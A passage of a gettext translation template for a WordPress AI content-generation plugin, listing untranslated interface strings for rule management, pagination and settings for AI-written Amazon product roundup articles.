res/aiomatic-csv-list.php:1955 #: res/aiomatic-listicle-list.php:2073 res/aiomatic-listicle-list.php:4687 #: res/aiomatic-review-list.php:2253 res/aiomatic-review-list.php:5045 #: res/aiomatic-rules-list.php:2354 res/aiomatic-rules-list.php:5255 #: res/aiomatic-youtube-list.php:2125 res/aiomatic-youtube-list.php:4790 msgid "Duplicate This Rule" msgstr "" #: res/aiomatic-amazon-list.php:2185 res/aiomatic-amazon-list.php:4893 #: res/aiomatic-automation-list.php:5118 res/aiomatic-automation-list.php:8135 #: res/aiomatic-csv-list.php:696 res/aiomatic-csv-list.php:1956 #: res/aiomatic-listicle-list.php:2074 res/aiomatic-listicle-list.php:4688 #: res/aiomatic-review-list.php:2254 res/aiomatic-review-list.php:5046 #: res/aiomatic-rules-list.php:2355 res/aiomatic-rules-list.php:5256 #: res/aiomatic-youtube-list.php:2126 res/aiomatic-youtube-list.php:4791 msgid "Move This Rule Up" msgstr "" #: res/aiomatic-amazon-list.php:2186 res/aiomatic-amazon-list.php:4894 #: res/aiomatic-automation-list.php:5119 res/aiomatic-automation-list.php:8136 #: res/aiomatic-csv-list.php:697 res/aiomatic-csv-list.php:1957 #: res/aiomatic-listicle-list.php:2075 res/aiomatic-listicle-list.php:4689 #: res/aiomatic-review-list.php:2255 res/aiomatic-review-list.php:5047 #: res/aiomatic-rules-list.php:2356 res/aiomatic-rules-list.php:5257 #: res/aiomatic-youtube-list.php:2127 res/aiomatic-youtube-list.php:4792 msgid "Move This Rule Down" msgstr "" #: res/aiomatic-amazon-list.php:2187 res/aiomatic-amazon-list.php:4895 #: res/aiomatic-automation-list.php:5120 res/aiomatic-automation-list.php:8137 #: res/aiomatic-csv-list.php:698 res/aiomatic-csv-list.php:1958 #: res/aiomatic-listicle-list.php:2076 res/aiomatic-listicle-list.php:4690 #: res/aiomatic-review-list.php:2256 res/aiomatic-review-list.php:5048 #: res/aiomatic-rules-list.php:2357 res/aiomatic-rules-list.php:5258 #: res/aiomatic-youtube-list.php:2128 res/aiomatic-youtube-list.php:4793 msgid "Send All Posts To Trash" msgstr "" #: res/aiomatic-amazon-list.php:2188 res/aiomatic-amazon-list.php:4896 #: res/aiomatic-automation-list.php:5121 res/aiomatic-automation-list.php:8138 #: res/aiomatic-csv-list.php:699 res/aiomatic-csv-list.php:1959 #: res/aiomatic-listicle-list.php:2077 res/aiomatic-listicle-list.php:4691 #: res/aiomatic-review-list.php:2257 res/aiomatic-review-list.php:5049 #: res/aiomatic-rules-list.php:2358 res/aiomatic-rules-list.php:5259 #: res/aiomatic-youtube-list.php:2129 res/aiomatic-youtube-list.php:4794 msgid "Permanently Delete All Posts" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "First Page" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "Previous Page" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-limits-statistics.php:857 #: res/aiomatic-limits-statistics.php:866 #: res/aiomatic-limits-statistics.php:2157 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "Page" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-limits-statistics.php:857 #: res/aiomatic-limits-statistics.php:866 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "of" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "Rules Per Page:" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "Next Page" msgstr "" #: res/aiomatic-amazon-list.php:2412 res/aiomatic-automation-list.php:5345 #: res/aiomatic-csv-list.php:923 res/aiomatic-listicle-list.php:2301 #: res/aiomatic-review-list.php:2481 res/aiomatic-rules-list.php:2582 #: res/aiomatic-youtube-list.php:2353 msgid "Last Page" msgstr "" #: res/aiomatic-amazon-list.php:2417 res/aiomatic-automation-list.php:5350 #: res/aiomatic-chatbot.php:8623 res/aiomatic-csv-list.php:929 #: res/aiomatic-limits-statistics.php:1287 #: res/aiomatic-limits-statistics.php:1969 #: res/aiomatic-limits-statistics.php:2107 res/aiomatic-listicle-list.php:2306 #: res/aiomatic-main.php:10317 res/aiomatic-review-list.php:2486 #: res/aiomatic-rules-list.php:2587 res/aiomatic-spinner-list.php:5751 #: res/aiomatic-youtube-list.php:2358 msgid "Save Settings" msgstr "" #: res/aiomatic-amazon-list.php:2420 res/aiomatic-automation-list.php:5353 #: res/aiomatic-csv-list.php:932 res/aiomatic-listicle-list.php:2309 #: res/aiomatic-review-list.php:2489 res/aiomatic-rules-list.php:2590 #: res/aiomatic-youtube-list.php:2361 msgid "* = required" msgstr "" #: res/aiomatic-amazon-list.php:2420 res/aiomatic-csv-list.php:932 #: res/aiomatic-listicle-list.php:2309 res/aiomatic-review-list.php:2489 #: res/aiomatic-rules-list.php:2590 res/aiomatic-youtube-list.php:2361 #, php-format msgid "" "Check more settings which apply to rule running, over at the plugin's " "'Settings' menu, here." msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-spinner-list.php:5752 res/aiomatic-youtube-list.php:2363 msgid "" "New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or " "other" msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-spinner-list.php:5752 res/aiomatic-youtube-list.php:2363 msgid "'omatic plugins created by CodeRevolution" msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-spinner-list.php:5752 res/aiomatic-youtube-list.php:2363 msgid ", click for details:" msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-spinner-list.php:5752 res/aiomatic-youtube-list.php:2363 msgid "Nested Shortcodes also supported!" msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-youtube-list.php:2363 msgid "Confused about rule running status icons?" msgstr "" #: res/aiomatic-amazon-list.php:2422 res/aiomatic-automation-list.php:5354 #: res/aiomatic-csv-list.php:933 res/aiomatic-listicle-list.php:2310 #: res/aiomatic-review-list.php:2491 res/aiomatic-rules-list.php:2591 #: res/aiomatic-youtube-list.php:2363 msgid "More info" msgstr "" #: res/aiomatic-amazon-list.php:2427 res/aiomatic-automation-list.php:5359 #: res/aiomatic-csv-list.php:938 res/aiomatic-listicle-list.php:2315 #: res/aiomatic-review-list.php:2496 res/aiomatic-rules-list.php:2596 #: res/aiomatic-youtube-list.php:2368 msgid "In Progress" msgstr "" #: res/aiomatic-amazon-list.php:2427 res/aiomatic-automation-list.php:5359 #: res/aiomatic-csv-list.php:938 res/aiomatic-listicle-list.php:2315 #: res/aiomatic-review-list.php:2496 res/aiomatic-rules-list.php:2596 #: res/aiomatic-youtube-list.php:2368 msgid "Importing is Running" msgstr "" #: res/aiomatic-amazon-list.php:2431 res/aiomatic-automation-list.php:5363 #: res/aiomatic-csv-list.php:942 res/aiomatic-listicle-list.php:2319 #: res/aiomatic-review-list.php:2500 res/aiomatic-rules-list.php:2600 #: res/aiomatic-youtube-list.php:2372 msgid "Success" msgstr "" #: res/aiomatic-amazon-list.php:2431 res/aiomatic-automation-list.php:5363 #: res/aiomatic-csv-list.php:942 res/aiomatic-listicle-list.php:2319 #: res/aiomatic-review-list.php:2500 res/aiomatic-rules-list.php:2600 #: res/aiomatic-youtube-list.php:2372 msgid "New Posts Created" msgstr "" #: res/aiomatic-amazon-list.php:2435 res/aiomatic-automation-list.php:5367 #: res/aiomatic-csv-list.php:946 res/aiomatic-listicle-list.php:2323 #: res/aiomatic-review-list.php:2504 res/aiomatic-rules-list.php:2604 #: res/aiomatic-youtube-list.php:2376 msgid "Failed" msgstr "" #: res/aiomatic-amazon-list.php:2435 res/aiomatic-automation-list.php:5367 #: res/aiomatic-csv-list.php:946 res/aiomatic-listicle-list.php:2323 #: res/aiomatic-review-list.php:2504 res/aiomatic-rules-list.php:2604 #: res/aiomatic-youtube-list.php:2376 msgid "An Error Occurred." msgstr "" #: res/aiomatic-amazon-list.php:2435 res/aiomatic-automation-list.php:5367 #: res/aiomatic-csv-list.php:946 res/aiomatic-listicle-list.php:2323 #: res/aiomatic-review-list.php:2504 res/aiomatic-rules-list.php:2604 #: res/aiomatic-youtube-list.php:2376 msgid "Please check 'Activity and Logging' plugin menu for details." msgstr "" #: res/aiomatic-amazon-list.php:2439 res/aiomatic-automation-list.php:5371 #: res/aiomatic-csv-list.php:950 res/aiomatic-listicle-list.php:2327 #: res/aiomatic-review-list.php:2508 res/aiomatic-rules-list.php:2608 #: res/aiomatic-youtube-list.php:2380 msgid "No Change - No New Posts Created" msgstr "" #: res/aiomatic-amazon-list.php:2439 res/aiomatic-automation-list.php:5371 #: res/aiomatic-csv-list.php:950 res/aiomatic-listicle-list.php:2327 #: res/aiomatic-review-list.php:2508 res/aiomatic-rules-list.php:2608 #: res/aiomatic-youtube-list.php:2380 msgid "Possible reasons:" msgstr "" #: res/aiomatic-amazon-list.php:2445 res/aiomatic-automation-list.php:5377 #: res/aiomatic-csv-list.php:956 res/aiomatic-listicle-list.php:2333 #: res/aiomatic-review-list.php:2514 res/aiomatic-rules-list.php:2614 #: res/aiomatic-youtube-list.php:2386 msgid "Please change rule settings, as your titles are all posted." msgstr "" #: res/aiomatic-amazon-list.php:2457 msgid "Amazon Product Roundup Tutorial Video" msgstr "" #: res/aiomatic-amazon-list.php:2982 res/aiomatic-automation-list.php:5717 #: res/aiomatic-automation-list.php:7957 res/aiomatic-csv-list.php:1326 #: res/aiomatic-limits-statistics.php:219 res/aiomatic-listicle-list.php:2865 #: res/aiomatic-review-list.php:3059 res/aiomatic-rules-list.php:3194 #: res/aiomatic-youtube-list.php:2920 msgid "Rule" msgstr "" #: res/aiomatic-amazon-list.php:3029 res/aiomatic-review-list.php:3106 msgid "Amazon Associate ID (Optional)" msgstr "" #: res/aiomatic-amazon-list.php:3037 res/aiomatic-review-list.php:3114 #: res/aiomatic-single-list.php:4627 res/aiomatic-youtube-list.php:402 #: res/aiomatic-youtube-list.php:2974 msgid "" "Set the maximum length of captions in prompts. This is useful to have, when " "captions can be very long." msgstr "" #: res/aiomatic-amazon-list.php:3056 msgid "" "Do you want to set a minimum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" #: res/aiomatic-amazon-list.php:3059 msgid "Min Price in Pennies" msgstr "" #: res/aiomatic-amazon-list.php:3067 msgid "" "Do you want to set a maximum price for the imported items? Price is in " "pennies: 1000 is 10$." msgstr "" #: res/aiomatic-amazon-list.php:3070 msgid "Max Price in Pennies" msgstr "" #: res/aiomatic-amazon-list.php:3080 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges, like: 2-4" msgstr "" #: res/aiomatic-amazon-list.php:3083 msgid "Max Number Of Products To Include" msgstr "" #: res/aiomatic-amazon-list.php:3091 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the \\'Amazon Category\\' settings field." msgstr "" #: res/aiomatic-amazon-list.php:3094 msgid "Sort Results By" msgstr "" #: res/aiomatic-amazon-list.php:3111 msgid "APrice:LowToHigh" msgstr "" #: res/aiomatic-amazon-list.php:3141 msgid "Randomize Product Order" msgstr "" #: res/aiomatic-amazon-list.php:3160 msgid "Enable First-Hand Experience" msgstr "" #: res/aiomatic-amazon-list.php:3178 msgid "Add Product Titles To Content As" msgstr "" #: res/aiomatic-amazon-list.php:3231 res/aiomatic-review-list.php:3216 #: res/aiomatic-rules-list.php:3355 res/aiomatic-youtube-list.php:3086 msgid "Number Of Paragraphs Per Section" msgstr "" #: res/aiomatic-amazon-list.php:3243 res/aiomatic-review-list.php:3228 msgid "Add Product Images To The Article" msgstr "" #: res/aiomatic-amazon-list.php:3260 res/aiomatic-review-list.php:3245 msgid "Don't Add Product Links to Headings" msgstr "" #: res/aiomatic-amazon-list.php:3277 res/aiomatic-review-list.php:3262 msgid "Add A Relevant YouTube Video To The Article" msgstr "" #: res/aiomatic-amazon-list.php:3290 res/aiomatic-listicle-list.php:3108 #: res/aiomatic-review-list.php:3275 res/aiomatic-rules-list.php:3437 #: res/aiomatic-youtube-list.php:3172 msgid "Set the header text of the outro section header. This is optional." msgstr "" #: res/aiomatic-amazon-list.php:3293 res/aiomatic-listicle-list.php:3111 #: res/aiomatic-review-list.php:3278 res/aiomatic-rules-list.php:3440 #: res/aiomatic-youtube-list.php:3175 msgid "Article Outro Section Header Text" msgstr "" #: res/aiomatic-amazon-list.php:3305 res/aiomatic-review-list.php:3290 msgid "Add Article 'Table Of Contents' Section" msgstr "" #: res/aiomatic-amazon-list.php:3323 res/aiomatic-review-list.php:3308 msgid "Article 'Table Of Contents' Section Header Text" msgstr "" #: res/aiomatic-amazon-list.php:3335 res/aiomatic-review-list.php:3380 msgid "Add Article 'Q&A' Section" msgstr "" #: res/aiomatic-amazon-list.php:3350 res/aiomatic-listicle-list.php:3168 #: res/aiomatic-review-list.php:3395 res/aiomatic-rules-list.php:3497 #: res/aiomatic-youtube-list.php:3232 msgid "Set the header text of the Q&A section header. Default is: Q&A" msgstr "" #: res/aiomatic-amazon-list.php:3353 res/aiomatic-review-list.php:3398 msgid "Article 'Q&A' Section Header Text" msgstr "" #: res/aiomatic-amazon-list.php:3365 msgid "Add Product Comparison Table" msgstr "" #: res/aiomatic-amazon-list.php:3384 res/aiomatic-listicle-list.php:3184 #: res/aiomatic-review-list.php:3411 res/aiomatic-rules-list.php:3513 #: res/aiomatic-youtube-list.php:3248 msgid "Content Language" msgstr "" #: res/aiomatic-amazon-list.php:3396 res/aiomatic-listicle-list.php:3196 #: res/aiomatic-review-list.php:3423 res/aiomatic-rules-list.php:3525 #: res/aiomatic-single-list.php:725 res/aiomatic-youtube-list.php:3260 msgid "Writing Style" msgstr "" #: res/aiomatic-amazon-list.php:3408 res/aiomatic-listicle-list.php:3208 #: res/aiomatic-review-list.php:3435 res/aiomatic-rules-list.php:3537 #: res/aiomatic-single-list.php:780 res/aiomatic-youtube-list.php:3272 msgid "Writing Tone" msgstr "" #: res/aiomatic-amazon-list.php:3418 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:3434 res/aiomatic-listicle-list.php:3234 #: res/aiomatic-review-list.php:3504 res/aiomatic-rules-list.php:3563 #: res/aiomatic-youtube-list.php:3298 msgid "AI Model For Title Generator" msgstr "" #: res/aiomatic-amazon-list.php:3460 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article intro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:3463 res/aiomatic-listicle-list.php:3263 #: res/aiomatic-review-list.php:3533 res/aiomatic-rules-list.php:3592 #: res/aiomatic-youtube-list.php:3327 msgid "Article Intro Prompt" msgstr "" #: res/aiomatic-amazon-list.php:3476 res/aiomatic-listicle-list.php:3276 #: res/aiomatic-review-list.php:3546 res/aiomatic-rules-list.php:3605 #: res/aiomatic-youtube-list.php:3340 msgid "AI Model For Intro Generator" msgstr "" #: res/aiomatic-amazon-list.php:3502 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%article_so_far%%, " "%%last_section_content%%, %%all_product_info%%, %%product_title%%, " "%%product_description%%, %%language%%, %%product_author%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%current_section%%, %%paragraphs_per_section%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you have access to the Amazon API, you can set it up in the " "plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: res/aiomatic-amazon-list.php:3518 res/aiomatic-listicle-list.php:3360 #: res/aiomatic-review-list.php:3630 res/aiomatic-rules-list.php:3689 #: res/aiomatic-youtube-list.php:3424 msgid "AI Model For Content Generator" msgstr "" #: res/aiomatic-amazon-list.php:3544 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:3547 res/aiomatic-listicle-list.php:3407 #: res/aiomatic-review-list.php:3743 res/aiomatic-rules-list.php:3736 #: res/aiomatic-youtube-list.php:3471 msgid "Article Q&A Prompt" msgstr "" #: res/aiomatic-amazon-list.php:3560 res/aiomatic-listicle-list.php:3420 #: res/aiomatic-review-list.php:3756 res/aiomatic-rules-list.php:3749 #: res/aiomatic-youtube-list.php:3484 msgid "AI Model For Q&A Generator" msgstr "" #: res/aiomatic-amazon-list.php:3586 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:3589 res/aiomatic-listicle-list.php:3449 #: res/aiomatic-review-list.php:3785 res/aiomatic-rules-list.php:3778 #: res/aiomatic-youtube-list.php:3513 msgid "Article Outro Prompt" msgstr "" #: res/aiomatic-amazon-list.php:3602 res/aiomatic-listicle-list.php:3462 #: res/aiomatic-review-list.php:3798 res/aiomatic-rules-list.php:3791 #: res/aiomatic-youtube-list.php:3526 msgid "AI Model For Outro Generator" msgstr "" #: res/aiomatic-amazon-list.php:3628 #, php-format msgid "" "Prompt to be used for the Post Excerpt. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:3631 res/aiomatic-listicle-list.php:3491 #: res/aiomatic-review-list.php:3827 res/aiomatic-rules-list.php:3820 #: res/aiomatic-youtube-list.php:3555 msgid "Excerpt Prompt" msgstr "" #: res/aiomatic-amazon-list.php:3644 res/aiomatic-listicle-list.php:3504 #: res/aiomatic-review-list.php:3840 res/aiomatic-rules-list.php:3833 #: res/aiomatic-youtube-list.php:3568 msgid "AI Model For Excerpt Generator" msgstr "" #: res/aiomatic-amazon-list.php:3670 #, php-format msgid "" "Prompt to be used for the Post Comparison Table. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-amazon-list.php:3673 msgid "Comparison Table Prompt" msgstr "" #: res/aiomatic-amazon-list.php:3683 msgid "Select the AI Model to be used for the comparison table generator." msgstr "" #: res/aiomatic-amazon-list.php:3686 msgid "AI Model For Comparison Table Generator" msgstr "" #: res/aiomatic-amazon-list.php:3716 res/aiomatic-listicle-list.php:3534 #: res/aiomatic-review-list.php:3870 res/aiomatic-rules-list.php:3863 #: res/aiomatic-youtube-list.php:3598 msgid "Run Regex On Prompts" msgstr "" #: res/aiomatic-amazon-list.php:3725 res/aiomatic-listicle-list.php:3543 #: res/aiomatic-review-list.php:3879 res/aiomatic-rules-list.php:3872 #: res/aiomatic-youtube-list.php:3607 msgid "" "Replace the above regex matches with this regex expression. If you want to " "strip matched content from prompts, leave this field blank. No Regex " "separators are required here. You can add multiple replacement expressions, " "each on a different line." msgstr "" #: res/aiomatic-amazon-list.php:3728 res/aiomatic-listicle-list.php:3546 #: res/aiomatic-review-list.php:3882 res/aiomatic-rules-list.php:3875 #: res/aiomatic-youtube-list.php:3610 msgid "Replace Matches From Regex (Prompts)" msgstr "" #: res/aiomatic-amazon-list.php:3740 res/aiomatic-listicle-list.php:3558 #: res/aiomatic-review-list.php:3894 res/aiomatic-rules-list.php:3887 #: res/aiomatic-youtube-list.php:3622 msgid "Run Above Regex On Prompts" msgstr "" #: res/aiomatic-amazon-list.php:3764 res/aiomatic-listicle-list.php:3581 #: res/aiomatic-review-list.php:3917 res/aiomatic-rules-list.php:4137 #: res/aiomatic-youtube-list.php:3645 msgid "Prepend Text To All Textual AI Prompts" msgstr "" #: res/aiomatic-amazon-list.php:3777 res/aiomatic-listicle-list.php:3594 #: res/aiomatic-review-list.php:3930 res/aiomatic-rules-list.php:4150 #: res/aiomatic-youtube-list.php:3658 msgid "Append Text To All Textual AI Prompts" msgstr "" #: res/aiomatic-amazon-list.php:3790 res/aiomatic-csv-list.php:1725 #: res/aiomatic-listicle-list.php:3607 res/aiomatic-review-list.php:3943 #: res/aiomatic-rules-list.php:4163 res/aiomatic-youtube-list.php:3671 msgid "Automatic Linking Type" msgstr "" #: res/aiomatic-amazon-list.php:3823 res/aiomatic-csv-list.php:1758 #: res/aiomatic-listicle-list.php:3640 res/aiomatic-review-list.php:3976 #: res/aiomatic-rules-list.php:4196 res/aiomatic-youtube-list.php:3704 msgid "Maximum Number Of Automatic Links To Add To The Post Content" msgstr "" #: res/aiomatic-amazon-list.php:3834 res/aiomatic-csv-list.php:1769 #: res/aiomatic-listicle-list.php:3651 res/aiomatic-review-list.php:3987 #: res/aiomatic-rules-list.php:4207 res/aiomatic-youtube-list.php:3715 msgid "Manual List Of URLs (One Per Line)" msgstr "" #: res/aiomatic-amazon-list.php:3846 res/aiomatic-csv-list.php:1781 #: res/aiomatic-listicle-list.php:3663 res/aiomatic-review-list.php:3999 #: res/aiomatic-rules-list.php:4219 res/aiomatic-youtube-list.php:3727 msgid "Add Nofollow Attribute To Manual Links" msgstr "" #: res/aiomatic-amazon-list.php:3863 res/aiomatic-csv-list.php:1798 #: res/aiomatic-listicle-list.php:3680 res/aiomatic-review-list.php:4016 #: res/aiomatic-rules-list.php:4236 res/aiomatic-youtube-list.php:3744 msgid "Post Types Where To Generate Automatic Links" msgstr "" #: res/aiomatic-amazon-list.php:3872 res/aiomatic-listicle-list.php:3689 #: res/aiomatic-review-list.php:4025 res/aiomatic-rules-list.php:4245 #: res/aiomatic-youtube-list.php:3753 msgid "Do you want to automatically add post categories from the feed items?" msgstr "" #: res/aiomatic-amazon-list.php:3875 res/aiomatic-listicle-list.php:3692 #: res/aiomatic-review-list.php:4028 res/aiomatic-rules-list.php:4248 #: res/aiomatic-youtube-list.php:3756 msgid "Auto Add Categories" msgstr "" #: res/aiomatic-amazon-list.php:3909 res/aiomatic-listicle-list.php:3726 #: res/aiomatic-review-list.php:4062 res/aiomatic-rules-list.php:4282 #: res/aiomatic-youtube-list.php:3790 msgid "" "Select the AI Model to be used for the category generator. You can add this " "to the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" #: res/aiomatic-amazon-list.php:3912 res/aiomatic-listicle-list.php:3729 #: res/aiomatic-review-list.php:4065 res/aiomatic-rules-list.php:4285 #: res/aiomatic-youtube-list.php:3793 msgid "AI Model For The Category Generator" msgstr "" #: res/aiomatic-amazon-list.php:3938 res/aiomatic-review-list.php:4091 #: res/aiomatic-youtube-list.php:3819 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI " "category generator. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the prompt command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You can also " "add here a link to a .txt file, where you can add multiple prompts (one per " "line) and the plugin will select a random one at each run. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." msgstr "" #: res/aiomatic-amazon-list.php:3941 res/aiomatic-listicle-list.php:3758 #: res/aiomatic-review-list.php:4094 res/aiomatic-rules-list.php:4314 #: 